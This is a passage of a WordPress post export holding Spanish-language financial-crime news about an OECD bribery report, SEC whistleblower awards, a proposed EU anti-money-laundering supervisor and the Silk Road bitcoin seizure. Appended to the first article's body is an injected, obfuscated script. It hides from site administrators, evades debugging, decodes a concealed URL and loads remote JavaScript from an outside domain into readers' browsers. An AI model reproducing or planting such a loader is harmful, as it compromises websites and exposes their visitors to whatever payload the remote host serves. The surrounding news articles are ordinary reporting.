apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en 